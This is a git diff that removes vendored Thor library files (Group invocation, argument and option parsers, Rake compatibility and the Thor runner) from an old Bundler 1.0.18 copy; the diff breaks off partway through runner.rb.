-    # prepare_for_invocation. The class method must necessarily return a klass
-    # and an optional task.
-    #
-    # ==== Custom invocations
-    #
-    # You can also supply a block to customize how the option is giong to be
-    # invoked. The block receives two parameters, an instance of the current
-    # class and the klass to be invoked.
-    #
-    def invoke_from_option(*names, &block)
-      options = names.last.is_a?(Hash) ? names.pop : {}
-      verbose = options.fetch(:verbose, :white)
-
-      names.each do |name|
-        unless class_options.key?(name)
-          raise ArgumentError, "You have to define the option #{name.inspect} " <<
-                               "before setting invoke_from_option."
-        end
-
-        invocations[name] = true
-        invocation_blocks[name] = block if block_given?
-
-        class_eval <<-METHOD, __FILE__, __LINE__
-          def _invoke_from_option_#{name.to_s.gsub(/\W/, '_')}
-            return unless options[#{name.inspect}]
-
-            value = options[#{name.inspect}]
-            value = #{name.inspect} if TrueClass === value
-            klass, task = self.class.prepare_for_invocation(#{name.inspect}, value)
-
-            if klass
-              say_status :invoke, value, #{verbose.inspect}
-              block = self.class.invocation_blocks[#{name.inspect}]
-              _invoke_for_class_method klass, task, &block
-            else
-              say_status :error, %(\#{value} [not found]), :red
-            end
-          end
-        METHOD
-      end
-    end
-
-    # Remove a previously added invocation.
-    #
-    # ==== Examples
-    #
-    #   remove_invocation :test_framework
-    #
-    def remove_invocation(*names)
-      names.each do |name|
-        remove_task(name)
-        remove_class_option(name)
-        invocations.delete(name)
-        invocation_blocks.delete(name)
-      end
-    end
-
-    # Overwrite class options help to allow invoked generators options to be
-    # shown recursively when invoking a generator.
-    #
-    def class_options_help(shell, groups={}) #:nodoc:
-      get_options_from_invocations(groups, class_options) do |klass|
-        klass.send(:get_options_from_invocations, groups, class_options)
-      end
-      super(shell, groups)
-    end
-
-    # Get invocations array and merge options from invocations. Those
-    # options are added to group_options hash. Options that already exists
-    # in base_options are not added twice.
-    #
-    def get_options_from_invocations(group_options, base_options) #:nodoc:
-      invocations.each do |name, from_option|
-        value = if from_option
-          option = class_options[name]
-          option.type == :boolean ? name : option.default
-        else
-          name
-        end
-        next unless value
-
-        klass, task = prepare_for_invocation(name, value)
-        next unless klass && klass.respond_to?(:class_options)
-
-        value = value.to_s
-        human_name = value.respond_to?(:classify) ? value.classify : value
-
-        group_options[human_name] ||= []
-        group_options[human_name] += klass.class_options.values.select do |option|
-          base_options[option.name.to_sym].nil? && option.group.nil? &&
-          !group_options.values.flatten.any? { |i| i.name == option.name }
-        end
-
-        yield klass if block_given?
-      end
-    end
-
-    # Returns tasks ready to be printed.
-    def printable_tasks(*)
-      item = []
-      item << banner
-      item << (desc ? "# #{desc.gsub(/\s+/m,' ')}" : "")
-      [item]
-    end
-
-    def handle_argument_error(task, error) #:nodoc:
-      raise error, "#{task.name.inspect} was called incorrectly. Are you sure it has arity equals to 0?"
-    end
-
-    protected
-
-      # The method responsible for dispatching given the args.
-      def dispatch(task, given_args, given_opts, config) #:nodoc:
-        if Thor::HELP_MAPPINGS.include?(given_args.first)
-          help(config[:shell])
-          return
-        end
-
-        args, opts = Thor::Options.split(given_args)
-        opts = given_opts || opts
-
-        if task
-          new(args, opts, config).invoke_task(all_tasks[task])
-        else
-          new(args, opts, config).invoke_all
-        end
-      end
-
-      # The banner for this class. You can customize it if you are invoking the
-      # thor class by another ways which is not the Thor::Runner.
-      def banner
-        "#{basename} #{self_task.formatted_usage(self, false)}"
-      end
-
-      # Represents the whole class as a task.
-      def self_task #:nodoc:
-        Thor::DynamicTask.new(self.namespace, class_options)
-      end
-
-      def baseclass #:nodoc:
-        Thor::Group
-      end
-
-      def create_task(meth) #:nodoc:
-        tasks[meth.to_s] = Thor::Task.new(meth, nil, nil, nil, nil)
-        true
-      end
-  end
-
-  include Thor::Base
-
-  protected
-
-  # Shortcut to invoke with padding and block handling. Use internally by
-  # invoke and invoke_from_option class methods.
-  def _invoke_for_class_method(klass, task=nil, *args, &block) #:nodoc:
-    with_padding do
-      if block
-        case block.arity
-        when 3
-          block.call(self, klass, task)
-        when 2
-          block.call(self, klass)
-        when 1
-          instance_exec(klass, &block)
-        end
-      else
-        invoke klass, task, *args
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/invocation.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/invocation.rb
deleted file mode 100644
index 6315dd42..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/invocation.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-class Thor
-  module Invocation
-    def self.included(base) #:nodoc:
-      base.extend ClassMethods
-    end
-
-    module ClassMethods
-      # This method is responsible for receiving a name and find the proper
-      # class and task for it. The key is an optional parameter which is
-      # available only in class methods invocations (i.e. in Thor::Group).
-      def prepare_for_invocation(key, name) #:nodoc:
-        case name
-        when Symbol, String
-          Thor::Util.find_class_and_task_by_namespace(name.to_s, !key)
-        else
-          name
-        end
-      end
-    end
-
-    # Make initializer aware of invocations and the initialization args.
-    def initialize(args=[], options={}, config={}, &block) #:nodoc:
-      @_invocations = config[:invocations] || Hash.new { |h,k| h[k] = [] }
-      @_initializer = [ args, options, config ]
-      super
-    end
-
-    # Receives a name and invokes it. The name can be a string (either "task" or
-    # "namespace:task"), a Thor::Task, a Class or a Thor instance. If the task
-    # cannot be guessed by name, it can also be supplied as second argument.
-    #
-    # You can also supply the arguments, options and configuration values for
-    # the task to be invoked, if none is given, the same values used to
-    # initialize the invoker are used to initialize the invoked.
-    #
-    # When no name is given, it will invoke the default task of the current class.
-    #
-    # ==== Examples
-    #
-    #   class A < Thor
-    #     def foo
-    #       invoke :bar
-    #       invoke "b:hello", ["José"]
-    #     end
-    #
-    #     def bar
-    #       invoke "b:hello", ["José"]
-    #     end
-    #   end
-    #
-    #   class B < Thor
-    #     def hello(name)
-    #       puts "hello #{name}"
-    #     end
-    #   end
-    #
-    # You can notice that the method "foo" above invokes two tasks: "bar",
-    # which belongs to the same class and "hello" which belongs to the class B.
-    #
-    # By using an invocation system you ensure that a task is invoked only once.
-    # In the example above, invoking "foo" will invoke "b:hello" just once, even
-    # if it's invoked later by "bar" method.
-    #
-    # When class A invokes class B, all arguments used on A initialization are
-    # supplied to B. This allows lazy parse of options. Let's suppose you have
-    # some rspec tasks:
-    #
-    #   class Rspec < Thor::Group
-    #     class_option :mock_framework, :type => :string, :default => :rr
-    #
-    #     def invoke_mock_framework
-    #       invoke "rspec:#{options[:mock_framework]}"
-    #     end
-    #   end
-    #
-    # As you noticed, it invokes the given mock framework, which might have its
-    # own options:
-    #
-    #   class Rspec::RR < Thor::Group
-    #     class_option :style, :type => :string, :default => :mock
-    #   end
-    #
-    # Since it's not rspec concern to parse mock framework options, when RR
-    # is invoked all options are parsed again, so RR can extract only the options
-    # that it's going to use.
-    #
-    # If you want Rspec::RR to be initialized with its own set of options, you
-    # have to do that explicitely:
-    #
-    #   invoke "rspec:rr", [], :style => :foo
-    #
-    # Besides giving an instance, you can also give a class to invoke:
-    #
-    #   invoke Rspec::RR, [], :style => :foo
-    #
-    def invoke(name=nil, *args)
-      if name.nil?
-        warn "[Thor] Calling invoke() without argument is deprecated. Please use invoke_all instead.\n#{caller.join("\n")}"
-        return invoke_all
-      end
-
-      args.unshift(nil) if Array === args.first || NilClass === args.first
-      task, args, opts, config = args
-
-      klass, task = _retrieve_class_and_task(name, task)
-      raise "Expected Thor class, got #{klass}" unless klass <= Thor::Base
-
-      args, opts, config = _parse_initialization_options(args, opts, config)
-      klass.send(:dispatch, task, args, opts, config)
-    end
-
-    # Invoke the given task if the given args.
-    def invoke_task(task, *args) #:nodoc:
-      current = @_invocations[self.class]
-
-      unless current.include?(task.name)
-        current << task.name
-        task.run(self, *args)
-      end
-    end
-
-    # Invoke all tasks for the current instance.
-    def invoke_all #:nodoc:
-      self.class.all_tasks.map { |_, task| invoke_task(task) }
-    end
-
-    # Invokes using shell padding.
-    def invoke_with_padding(*args)
-      with_padding { invoke(*args) }
-    end
-
-    protected
-
-      # Configuration values that are shared between invocations.
-      def _shared_configuration #:nodoc:
-        { :invocations => @_invocations }
-      end
-
-      # This method simply retrieves the class and task to be invoked.
-      # If the name is nil or the given name is a task in the current class,
-      # use the given name and return self as class. Otherwise, call
-      # prepare_for_invocation in the current class.
-      def _retrieve_class_and_task(name, sent_task=nil) #:nodoc:
-        case
-        when name.nil?
-          [self.class, nil]
-        when self.class.all_tasks[name.to_s]
-          [self.class, name.to_s]
-        else
-          klass, task = self.class.prepare_for_invocation(nil, name)
-          [klass, task || sent_task]
-        end
-      end
-
-      # Initialize klass using values stored in the @_initializer.
-      def _parse_initialization_options(args, opts, config) #:nodoc:
-        stored_args, stored_opts, stored_config = @_initializer
-
-        args ||= stored_args.dup
-        opts ||= stored_opts.dup
-
-        config ||= {}
-        config = stored_config.merge(_shared_configuration).merge!(config)
-
-        [ args, opts, config ]
-      end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser.rb
deleted file mode 100644
index 57a3f6e1..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'thor/parser/argument'
-require 'thor/parser/arguments'
-require 'thor/parser/option'
-require 'thor/parser/options'
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/argument.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/argument.rb
deleted file mode 100644
index 68c2e086..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/argument.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-class Thor
-  class Argument #:nodoc:
-    VALID_TYPES = [ :numeric, :hash, :array, :string ]
-
-    attr_reader :name, :description, :required, :type, :default, :banner
-    alias :human_name :name
-
-    def initialize(name, description=nil, required=true, type=:string, default=nil, banner=nil)
-      class_name = self.class.name.split("::").last
-
-      raise ArgumentError, "#{class_name} name can't be nil."                         if name.nil?
-      raise ArgumentError, "Type :#{type} is not valid for #{class_name.downcase}s."  if type && !valid_type?(type)
-
-      @name        = name.to_s
-      @description = description
-      @required    = required || false
-      @type        = (type || :string).to_sym
-      @default     = default
-      @banner      = banner || default_banner
-
-      validate! # Trigger specific validations
-    end
-
-    def usage
-      required? ? banner : "[#{banner}]"
-    end
-
-    def required?
-      required
-    end
-
-    def show_default?
-      case default
-      when Array, String, Hash
-        !default.empty?
-      else
-        default
-      end
-    end
-
-    protected
-
-      def validate!
-        raise ArgumentError, "An argument cannot be required and have default value." if required? && !default.nil?
-      end
-
-      def valid_type?(type)
-        self.class::VALID_TYPES.include?(type.to_sym)
-      end
-
-      def default_banner
-        case type
-        when :boolean
-          nil
-        when :string, :default
-          human_name.upcase
-        when :numeric
-          "N"
-        when :hash
-          "key:value"
-        when :array
-          "one two three"
-        end
-      end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/arguments.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/arguments.rb
deleted file mode 100644
index 888ef692..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/arguments.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-class Thor
-  class Arguments #:nodoc:
-    NUMERIC = /(\d*\.\d+|\d+)/
-
-    # Receives an array of args and returns two arrays, one with arguments
-    # and one with switches.
-    #
-    def self.split(args)
-      arguments = []
-
-      args.each do |item|
-        break if item =~ /^-/
-        arguments << item
-      end
-
-      return arguments, args[Range.new(arguments.size, -1)]
-    end
-
-    def self.parse(*args)
-      to_parse = args.pop
-      new(*args).parse(to_parse)
-    end
-
-    # Takes an array of Thor::Argument objects.
-    #
-    def initialize(arguments=[])
-      @assigns, @non_assigned_required = {}, []
-      @switches = arguments
-
-      arguments.each do |argument|
-        if argument.default != nil
-          @assigns[argument.human_name] = argument.default
-        elsif argument.required?
-          @non_assigned_required << argument
-        end
-      end
-    end
-
-    def parse(args)
-      @pile = args.dup
-
-      @switches.each do |argument|
-        break unless peek
-        @non_assigned_required.delete(argument)
-        @assigns[argument.human_name] = send(:"parse_#{argument.type}", argument.human_name)
-      end
-
-      check_requirement!
-      @assigns
-    end
-
-    private
-
-      def no_or_skip?(arg)
-        arg =~ /^--(no|skip)-([-\w]+)$/
-        $2
-      end
-
-      def last?
-        @pile.empty?
-      end
-
-      def peek
-        @pile.first
-      end
-
-      def shift
-        @pile.shift
-      end
-
-      def unshift(arg)
-        unless arg.kind_of?(Array)
-          @pile.unshift(arg)
-        else
-          @pile = arg + @pile
-        end
-      end
-
-      def current_is_value?
-        peek && peek.to_s !~ /^-/
-      end
-
-      # Runs through the argument array getting strings that contains ":" and
-      # mark it as a hash:
-      #
-      #   [ "name:string", "age:integer" ]
-      #
-      # Becomes:
-      #
-      #   { "name" => "string", "age" => "integer" }
-      #
-      def parse_hash(name)
-        return shift if peek.is_a?(Hash)
-        hash = {}
-
-        while current_is_value? && peek.include?(?:)
-          key, value = shift.split(':',2)
-          hash[key] = value
-        end
-        hash
-      end
-
-      # Runs through the argument array getting all strings until no string is
-      # found or a switch is found.
-      #
-      #   ["a", "b", "c"]
-      #
-      # And returns it as an array:
-      #
-      #   ["a", "b", "c"]
-      #
-      def parse_array(name)
-        return shift if peek.is_a?(Array)
-        array = []
-
-        while current_is_value?
-          array << shift
-        end
-        array
-      end
-
-      # Check if the peek is numeric format and return a Float or Integer.
-      # Otherwise raises an error.
-      #
-      def parse_numeric(name)
-        return shift if peek.is_a?(Numeric)
-
-        unless peek =~ NUMERIC && $& == peek
-          raise MalformattedArgumentError, "Expected numeric value for '#{name}'; got #{peek.inspect}"
-        end
-
-        $&.index('.') ? shift.to_f : shift.to_i
-      end
-
-      # Parse string:
-      # for --string-arg, just return the current value in the pile
-      # for --no-string-arg, nil
-      #
-      def parse_string(name)
-        if no_or_skip?(name)
-          nil
-        else
-          shift
-        end
-      end
-
-      # Raises an error if @non_assigned_required array is not empty.
-      #
-      def check_requirement!
-        unless @non_assigned_required.empty?
-          names = @non_assigned_required.map do |o|
-            o.respond_to?(:switch_name) ? o.switch_name : o.human_name
-          end.join("', '")
-
-          class_name = self.class.name.split('::').last.downcase
-          raise RequiredArgumentMissingError, "No value provided for required #{class_name} '#{names}'"
-        end
-      end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/option.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/option.rb
deleted file mode 100644
index c8f20b13..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/option.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-class Thor
-  class Option < Argument #:nodoc:
-    attr_reader :aliases, :group, :lazy_default
-
-    VALID_TYPES = [:boolean, :numeric, :hash, :array, :string]
-
-    def initialize(name, description=nil, required=nil, type=nil, default=nil, banner=nil, lazy_default=nil, group=nil, aliases=nil)
-      super(name, description, required, type, default, banner)
-      @lazy_default = lazy_default
-      @group        = group.to_s.capitalize if group
-      @aliases      = [*aliases].compact
-    end
-
-    # This parse quick options given as method_options. It makes several
-    # assumptions, but you can be more specific using the option method.
-    #
-    #   parse :foo => "bar"
-    #   #=> Option foo with default value bar
-    #
-    #   parse [:foo, :baz] => "bar"
-    #   #=> Option foo with default value bar and alias :baz
-    #
-    #   parse :foo => :required
-    #   #=> Required option foo without default value
-    #
-    #   parse :foo => 2
-    #   #=> Option foo with default value 2 and type numeric
-    #
-    #   parse :foo => :numeric
-    #   #=> Option foo without default value and type numeric
-    #
-    #   parse :foo => true
-    #   #=> Option foo with default value true and type boolean
-    #
-    # The valid types are :boolean, :numeric, :hash, :array and :string. If none
-    # is given a default type is assumed. This default type accepts arguments as
-    # string (--foo=value) or booleans (just --foo).
-    #
-    # By default all options are optional, unless :required is given.
-    #
-    def self.parse(key, value)
-      if key.is_a?(Array)
-        name, *aliases = key
-      else
-        name, aliases = key, []
-      end
-
-      name    = name.to_s
-      default = value
-
-      type = case value
-      when Symbol
-        default = nil
-        if VALID_TYPES.include?(value)
-          value
-        elsif required = (value == :required)
-          :string
-        end
-      when TrueClass, FalseClass
-        :boolean
-      when Numeric
-        :numeric
-      when Hash, Array, String
-        value.class.name.downcase.to_sym
-      end
-
-      self.new(name.to_s, nil, required, type, default, nil, nil, nil, aliases)
-    end
-
-    def switch_name
-      @switch_name ||= dasherized? ? name : dasherize(name)
-    end
-
-    def human_name
-      @human_name ||= dasherized? ? undasherize(name) : name
-    end
-
-    def usage(padding=0)
-      sample = if banner && !banner.to_s.empty?
-        "#{switch_name}=#{banner}"
-      else
-        switch_name
-      end
-
-      sample = "[#{sample}]" unless required?
-
-      if aliases.empty?
-        (" " * padding) << sample
-      else
-        "#{aliases.join(', ')}, #{sample}"
-      end
-    end
-
-    VALID_TYPES.each do |type|
-      class_eval <<-RUBY, __FILE__, __LINE__ + 1
-        def #{type}?
-          self.type == #{type.inspect}
-        end
-      RUBY
-    end
-
-  protected
-
-    def validate!
-      raise ArgumentError, "An option cannot be boolean and required." if boolean? && required?
-    end
-
-    def dasherized?
-      name.index('-') == 0
-    end
-
-    def undasherize(str)
-      str.sub(/^-{1,2}/, '')
-    end
-
-    def dasherize(str)
-      (str.length > 1 ? "--" : "-") + str.gsub('_', '-')
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/options.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/options.rb
deleted file mode 100644
index 9b1d042d..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/parser/options.rb
+++ /dev/null
@@ -1,175 +0,0 @@
-class Thor
-  # This is a modified version of Daniel Berger's Getopt::Long class, licensed
-  # under Ruby's license.
-  #
-  class Options < Arguments #:nodoc:
-    LONG_RE     = /^(--\w+(?:-\w+)*)$/
-    SHORT_RE    = /^(-[a-z])$/i
-    EQ_RE       = /^(--\w+(?:-\w+)*|-[a-z])=(.*)$/i
-    SHORT_SQ_RE = /^-([a-z]{2,})$/i # Allow either -x -v or -xv style for single char args
-    SHORT_NUM   = /^(-[a-z])#{NUMERIC}$/i
-
-    # Receives a hash and makes it switches.
-    def self.to_switches(options)
-      options.map do |key, value|
-        case value
-          when true
-            "--#{key}"
-          when Array
-            "--#{key} #{value.map{ |v| v.inspect }.join(' ')}"
-          when Hash
-            "--#{key} #{value.map{ |k,v| "#{k}:#{v}" }.join(' ')}"
-          when nil, false
-            ""
-          else
-            "--#{key} #{value.inspect}"
-        end
-      end.join(" ")
-    end
-
-    # Takes a hash of Thor::Option and a hash with defaults.
-    def initialize(hash_options={}, defaults={})
-      options = hash_options.values
-      super(options)
-
-      # Add defaults
-      defaults.each do |key, value|
-        @assigns[key.to_s] = value
-        @non_assigned_required.delete(hash_options[key])
-      end
-
-      @shorts, @switches, @unknown = {}, {}, []
-
-      options.each do |option|
-        @switches[option.switch_name] = option
-
-        option.aliases.each do |short|
-          @shorts[short.to_s] ||= option.switch_name
-        end
-      end
-    end
-
-    def parse(args)
-      @pile = args.dup
-
-      while peek
-        match, is_switch = current_is_switch?
-
-        if is_switch
-          case shift
-            when SHORT_SQ_RE
-              unshift($1.split('').map { |f| "-#{f}" })
-              next
-            when EQ_RE, SHORT_NUM
-              unshift($2)
-              switch = $1
-            when LONG_RE, SHORT_RE
-              switch = $1
-          end
-
-          switch = normalize_switch(switch)
-          option = switch_option(switch)
-          @assigns[option.human_name] = parse_peek(switch, option)
-        elsif match
-          @unknown << shift
-        else
-          shift
-        end
-      end
-
-      check_requirement!
-
-      assigns = Thor::CoreExt::HashWithIndifferentAccess.new(@assigns)
-      assigns.freeze
-      assigns
-    end
-
-    def check_unknown!
-      unless ARGV.include?("exec") || ARGV.include?("config")
-        raise UnknownArgumentError, "Unknown switches '#{@unknown.join(', ')}'" unless @unknown.empty?
-      end
-    end
-
-    protected
-
-      # Returns true if the current value in peek is a registered switch.
-      #
-      def current_is_switch?
-        case peek
-        when LONG_RE, SHORT_RE, EQ_RE, SHORT_NUM
-          [true, switch?($1)]
-        when SHORT_SQ_RE
-          [true, $1.split('').any? { |f| switch?("-#{f}") }]
-        else
-          [false, false]
-        end
-      end
-
-      def current_is_switch_formatted?
-        case peek
-        when LONG_RE, SHORT_RE, EQ_RE, SHORT_NUM, SHORT_SQ_RE
-          true
-        else
-          false
-        end
-      end
-
-      def switch?(arg)
-        switch_option(normalize_switch(arg))
-      end
-
-      def switch_option(arg)
-        if match = no_or_skip?(arg)
-          @switches[arg] || @switches["--#{match}"]
-        else
-          @switches[arg]
-        end
-      end
-
-      # Check if the given argument is actually a shortcut.
-      #
-      def normalize_switch(arg)
-        (@shorts[arg] || arg).tr('_', '-')
-      end
-
-      # Parse boolean values which can be given as --foo=true, --foo or --no-foo.
-      #
-      def parse_boolean(switch)
-        if current_is_value?
-          if ["true", "TRUE", "t", "T", true].include?(peek)
-            shift
-            true
-          elsif ["false", "FALSE", "f", "F", false].include?(peek)
-            shift
-            false
-          else
-            true
-          end
-        else
-          @switches.key?(switch) || !no_or_skip?(switch)
-        end
-      end
-
-      # Parse the value at the peek analyzing if it requires an input or not.
-      #
-      def parse_peek(switch, option)
-        if current_is_switch_formatted? || last?
-          if option.boolean?
-            # No problem for boolean types
-          elsif no_or_skip?(switch)
-            return nil # User set value to nil
-          elsif option.string? && !option.required?
-            # Return the default if there is one, else the human name
-            return option.lazy_default || option.default || option.human_name
-          elsif option.lazy_default
-            return option.lazy_default
-          else
-            raise MalformattedArgumentError, "No value provided for option '#{switch}'"
-          end
-        end
-
-        @non_assigned_required.delete(option)
-        send(:"parse_#{option.type}", switch)
-      end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/rake_compat.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/rake_compat.rb
deleted file mode 100644
index 0d0757fd..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/rake_compat.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-require 'rake'
-
-class Thor
-  # Adds a compatibility layer to your Thor classes which allows you to use
-  # rake package tasks. For example, to use rspec rake tasks, one can do:
-  #
-  #   require 'thor/rake_compat'
-  #
-  #   class Default < Thor
-  #     include Thor::RakeCompat
-  #
-  #     Spec::Rake::SpecTask.new(:spec) do |t|
-  #       t.spec_opts = ['--options', "spec/spec.opts"]
-  #       t.spec_files = FileList['spec/**/*_spec.rb']
-  #     end
-  #   end
-  #
-  module RakeCompat
-    def self.rake_classes
-      @rake_classes ||= []
-    end
-
-    def self.included(base)
-      # Hack. Make rakefile point to invoker, so rdoc task is generated properly.
-      rakefile = File.basename(caller[0].match(/(.*):\d+/)[1])
-      Rake.application.instance_variable_set(:@rakefile, rakefile)
-      self.rake_classes << base
-    end
-  end
-end
-
-class Object #:nodoc:
-  alias :rake_task :task
-  alias :rake_namespace :namespace
-
-  def task(*args, &block)
-    task = rake_task(*args, &block)
-
-    if klass = Thor::RakeCompat.rake_classes.last
-      non_namespaced_name = task.name.split(':').last
-
-      description = non_namespaced_name
-      description << task.arg_names.map{ |n| n.to_s.upcase }.join(' ')
-      description.strip!
-
-      klass.desc description, task.comment || non_namespaced_name
-      klass.send :define_method, non_namespaced_name do |*args|
-        Rake::Task[task.name.to_sym].invoke(*args)
-      end
-    end
-
-    task
-  end
-
-  def namespace(name, &block)
-    if klass = Thor::RakeCompat.rake_classes.last
-      const_name = Thor::Util.camel_case(name.to_s).to_sym
-      klass.const_set(const_name, Class.new(Thor))
-      new_klass = klass.const_get(const_name)
-      Thor::RakeCompat.rake_classes << new_klass
-    end
-
-    rake_namespace(name, &block)
-    Thor::RakeCompat.rake_classes.pop
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/runner.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/runner.rb
deleted file mode 100644
index 0d9e3c05..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/vendor/thor/runner.rb
+++ /dev/null
@@ -1,309 +0,0 @@
-require 'thor'
-require 'thor/group'
-require 'thor/core_ext/file_binary_read'
-
-require 'fileutils'
-require 'open-uri'
-require 'yaml'
-require 'digest/md5'
-require 'pathname'
-
-class Thor::Runner < Thor #:nodoc:
-  map "-T" => :list, "-i" => :install, "-u" => :update, "-v" => :version
-
-  # Override Thor#help so it can give information about any class and any method.
-  #
-  def help(meth = nil)
-    if meth && !self.respond_to?(meth)
-      initialize_thorfiles(meth)
-      klass, task = Thor::Util.find_class_and_task_by_namespace(meth)
-      klass.start(["-h", task].compact, :shell => self.shell)
-    else
-      super
-    end
-  end
-
-  # If a task is not found on Thor::Runner, method missing is invoked and
-  # Thor::Runner is then responsable for finding the task in all classes.
-  #
-  def method_missing(meth, *args)
-    meth = meth.to_s
-    initialize_thorfiles(meth)
-    klass, task = Thor::Util.find_class_and_task_by_namespace(meth)
-    args.unshift(task) if task
-    klass.start(args, :shell => self.shell)
-  end
-
-  desc "install NAME", "Install an optionally named Thor file into your system tasks"
-  method_options :as => :string, :relative => :boolean, :force => :boolean
-  def install(name)
-    initialize_thorfiles
-
-    # If a directory name is provided as the argument, look for a 'main.thor'
-    # task in said directory.
-    begin
-      if File.directory?(File.expand_path(name))
-        base, package = File.join(name, "main.thor"), :directory
-        contents      = open(base) {|input| input.read }
-      else
-        base, package = name, :file
-        contents      = open(name) {|input| input.read }
-      end
-    rescue OpenURI::HTTPError
-      raise Error, "Error opening URI '#{name}'"
-    rescue Errno::ENOENT
-      raise Error, "Error opening file '#{name}'"
-    end
-
-    say "Your Thorfile contains:"
-    say contents
-
-    unless options["force"]
-      return false if no?("Do you wish to continue [y/N]?")
-    end
-
-    as = options["as"] || begin
-      first_line = contents.split("\n")[0]
-      (match = first_line.match(/\s*#\s*module:\s*([^\n]*)/)) ? match[1].strip : nil
-    end
-
-    unless as
-      basename = File.basename(name)
-      as = ask("Please specify a name for #{name} in the system repository [#{basename}]:")
-      as = basename if as.empty?
-    end
-
-    location = if options[:relative] || name =~ /^https?:\/\//
-      name
-    else
-      File.expand_path(name)
-    end
-
-    thor_yaml[as] = {
-      :filename   => Digest::MD5.hexdigest(name + as),
-      :location   => location,
-      :namespaces => Thor::Util.namespaces_in_content(contents, base)
-    }
-
-    save_yaml(thor_yaml)
-    say "Storing thor file in your system repository"
-    destination = File.join(thor_root, thor_yaml[as][:filename])
-
-    if package == :file
-      File.open(destination, "w") { |f| f.puts contents }
-    else
-      FileUtils.cp_r(name, destination)
-    end
-
-    thor_yaml[as][:filename] # Indicate success
-  end
-
-  desc "version", "Show Thor version"
-  def version
-    require 'thor/version'
-    say "Thor #{Thor::VERSION}"
-  end
-
-  desc "uninstall NAME", "Uninstall a named Thor module"
-  def uninstall(name)
-    raise Error, "Can't find module '#{name}'" unless thor_yaml[name]
-    say "Uninstalling #{name}."
-    FileUtils.rm_rf(File.join(thor_root, "#{thor_yaml[name][:filename]}"))
-
-    thor_yaml.delete(name)
-    save_yaml(thor_yaml)
-
-    puts "Done."
-  end
-
-  desc "update NAME", "Update a Thor file from its original location"
-  def update(name)
-    raise Error, "Can't find module '#{name}'" if !thor_yaml[name] || !thor_yaml[name][:location]
-
-    say "Updating '#{name}' from #{thor_yaml[name][:location]}"
-
-    old_filename = thor_yaml[name][:filename]
-    self.options = self.options.merge("as" => name)
-    filename     = install(thor_yaml[name][:location])
-
-    unless filename == old_filename
-      File.delete(File.join(thor_root, old_filename))
-    end
-  end
-
-  desc "installed", "List the installed Thor modules and tasks"
-  method_options :internal => :boolean
-  def installed
-    initialize_thorfiles(nil, true)
-    display_klasses(true, options["internal"])
-  end
-
-  desc "list [SEARCH]", "List the available thor tasks (--substring means .*SEARCH)"
-  method_options :substring => :boolean, :group => :string, :all => :boolean, :debug => :boolean
-  def list(search="")
-    initialize_thorfiles
-
-    search = ".*#{search}" if options["substring"]
-    search = /^#{search}.*/i
-    group  = options[:group] || "standard"
-
-    klasses = Thor::Base.subclasses.select do |k|
-      (options[:all] || k.group == group) && k.namespace =~ search
-    end
-
-    display_klasses(false, false, klasses)
-  end
-
-  private
-
-    def self.banner(task, all = false, subcommand = false)
-      "thor " + task.formatted_usage(self, all, subcommand)
-    end
-
-    def thor_root
-      Thor::Util.thor_root
-    end
-
-    def thor_yaml
-      @thor_yaml ||= begin
-        yaml_file = File.join(thor_root, "thor.yml")
-        yaml = YAML.load_file(yaml_file) if File.exists?(yaml_file)
-        yaml || {}
-      end
-    end
-
-    # Save the yaml file. If none exists in thor root, creates one.
-    #
-    def save_yaml(yaml)
-      yaml_file = File.join(thor_root, "thor.yml")
-
-      unless File.exists?(yaml_file)
-        FileUtils.mkdir_p(thor_root)
-        yaml_file = File.join(thor_root, "thor.yml")
-        FileUtils.touch(yaml_file)
-      end
-
-      File.open(yaml_file, "w") { |f| f.puts yaml.to_yaml }
-    end
-
-    def self.exit_on_failure?
-      true
-    end
-
-    # Load the thorfiles. If relevant_to is supplied, looks for specific files
-    # in the thor_root instead of loading them all.
-    #
-    # By default, it also traverses the current path until find Thor files, as
-    # described in thorfiles. This look up can be skipped by suppliying
-    # skip_lookup true.
-    #
-    def initialize_thorfiles(relevant_to=nil, skip_lookup=false)
-      thorfiles(relevant_to, skip_lookup).each do |f|
